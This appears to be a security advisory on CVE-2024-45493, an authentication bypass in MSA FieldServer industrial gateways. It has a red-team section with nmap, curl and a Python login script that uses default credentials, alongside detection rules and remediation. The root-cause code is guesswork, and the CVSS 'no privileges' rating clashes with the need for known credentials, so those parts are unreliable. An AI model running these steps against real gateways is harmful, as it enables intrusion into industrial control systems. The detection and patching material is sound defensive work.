CVE-2024-45493

Executive Summary

CVE-2024-45493 is a critical authentication bypass vulnerability in MSA FieldServer Gateway versions 5.0.0 through 6.5.2. The vulnerability allows an attacker to bypass the intended local-only restriction for internal user accounts, enabling network-based authentication if the attacker knows the credentials of an internal user. This can lead to full compromise of the gateway device, potentially allowing an attacker to manipulate industrial control system (ICS) data, disrupt operations, or pivot to other network segments. The vendor has released a fix in version 7.0.0.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any prior authentication.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The exploit does not affect resources beyond the vulnerable component.
• Confidentiality (C): High – Full access to sensitive data on the device.
• Integrity (I): High – Ability to modify data or configurations.
• Availability (A): High – Potential to disrupt device operation.

Threat Level: Critical. The vulnerability is remotely exploitable with low complexity and no authentication, making it a high-priority target for attackers, especially in ICS/SCADA environments.

Deep Dive & Mechanics

The MSA FieldServer Gateway is a device used in industrial automation to bridge different communication protocols (e.g., Modbus, BACnet, DNP3). It includes internal user accounts intended for local console access only (e.g., via serial console or direct physical connection). The vulnerability lies in the authentication mechanism: the gateway fails to properly enforce the "local-only" restriction for these internal accounts. When an authentication request arrives over the network, the gateway does not check whether the user is attempting to log in locally or remotely. As a result, an attacker who knows the credentials of an internal user (which may be default or weak) can authenticate from the network.

The root cause is a missing or insufficient access control check in the authentication logic. The code likely has a conditional statement like if (is_local_connection) { allow_login(); } but the check is either absent or can be bypassed (e.g., by manipulating request headers or session parameters). Once authenticated, the attacker gains the privileges of that internal user, which typically include administrative access to the gateway's web interface, command shell, or configuration tools.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

def authenticate(user, password, connection_type):
    # Missing check for connection_type
    if verify_credentials(user, password):
        return create_session(user)
    else:
        return "Authentication failed"

Patched Code (Conceptual):

def authenticate(user, password, connection_type):
    if connection_type != "local":
        return "Local access only for this user"
    if verify_credentials(user, password):
        return create_session(user)
    else:
        return "Authentication failed"

The patch adds a check to ensure that internal users can only authenticate when the connection is local (e.g., via serial console or direct physical access). This prevents network-based authentication for those accounts.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable MSA FieldServer Gateway (version 5.0.0 to 6.5.2) on the same network.
• Knowledge of an internal user's credentials (e.g., default credentials like admin:admin or fieldserver:fieldserver).

Exploitation Steps:

1. Scan for the gateway: Use Nmap to discover the device on the network.

   nmap -p 80,443,502,20000 <target_ip>
   

2. Identify the web interface: The gateway typically exposes a web interface on port 80 or 443.
3. Attempt authentication: Use a tool like curl to send a login request with internal user credentials.

   curl -X POST http://<target_ip>/login -d "username=admin&password=admin"
   

4. Bypass the local-only restriction: If the gateway does not enforce the local-only check, the authentication will succeed, and you will receive a session token or cookie.
5. Access the gateway: Use the session token to access administrative functions, such as configuration changes, firmware updates, or command execution.

Automated Exploit (Python):

import requests

target = "http://<target_ip>"
credentials = {"username": "admin", "password": "admin"}

session = requests.Session()
response = session.post(f"{target}/login", data=credentials)

if "session" in response.cookies:
    print("Authentication successful!")
    # Now access admin panel
    admin_response = session.get(f"{target}/admin")
    print(admin_response.text)
else:
    print("Authentication failed")

Blue Team

Detection and Prevention:

1. Network Monitoring: Monitor for authentication attempts to the gateway from unexpected IP addresses. Use Suricata or Snort rules to detect login requests.
2. Log Analysis: Enable detailed logging on the gateway and review logs for failed and successful authentication events, especially for internal user accounts.
3. Access Control: Implement network segmentation to restrict access to the gateway to only authorized management stations.
4. Credential Hardening: Change all default passwords and enforce strong password policies for internal users.
5. Patch Management: Immediately upgrade to version 7.0.0 or later.

Indicators of Compromise (IOCs)

• Network Traffic:
  • HTTP POST requests to /login with internal usernames (e.g., admin, fieldserver, operator).
  • Successful authentication responses (HTTP 200 with session cookie) from the gateway.
• Log Entries:
  • Authentication events for internal users from remote IP addresses.
  • Unusual configuration changes or firmware updates.
• File System:
  • Modified configuration files (e.g., config.xml, users.conf).
  • Presence of unauthorized scripts or binaries.
• Processes:
  • Unusual processes running on the gateway (e.g., reverse shells, backdoors).

Detection Engineering

YARA Rule

rule CVE_2024_45493_MSA_FieldServer_AuthBypass {
    meta:
        description = "Detects exploitation attempts of CVE-2024-45493 in MSA FieldServer Gateway"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-45493"
    strings:
        $login_request = "POST /login" ascii wide nocase
        $internal_user = "admin" ascii wide nocase
        $bypass_pattern = "username=admin&password=admin" ascii wide nocase
    condition:
        $login_request and $internal_user and $bypass_pattern
}

Sigma Rule

title: MSA FieldServer Gateway Authentication Bypass Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects network-based authentication attempts using internal user accounts on MSA FieldServer Gateway
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: msa_fieldserver
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/login'
        cs-username|contains:
            - 'admin'
            - 'fieldserver'
            - 'operator'
    condition: selection
falsepositives:
    - Legitimate local access (if logs are misconfigured)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-45493 MSA FieldServer Gateway Authentication Bypass Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/login"; http_uri;
    content:"username="; http_client_body;
    content:"password="; http_client_body;
    pcre:"/username=(admin|fieldserver|operator)/Pi";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update the MSA FieldServer Gateway firmware to version 7.0.0 or later.
2. Change Credentials: Immediately change all default passwords for internal user accounts.
3. Network Segmentation: Place the gateway on a separate management VLAN with strict access controls.
4. Disable Unused Accounts: Remove or disable any internal user accounts that are not required.

Long-Term Measures:

1. Vulnerability Scanning: Regularly scan the network for vulnerable devices.
2. Patch Management: Establish a process for timely application of security patches.
3. Monitoring: Implement continuous monitoring for authentication anomalies.
4. Incident Response: Prepare an incident response plan specific to ICS/SCADA devices.

Workaround (if patching is not immediately possible):

• Restrict network access to the gateway using firewall rules to allow only trusted IP addresses.
• Disable the web interface if not required, and use only local console access.

Valters IT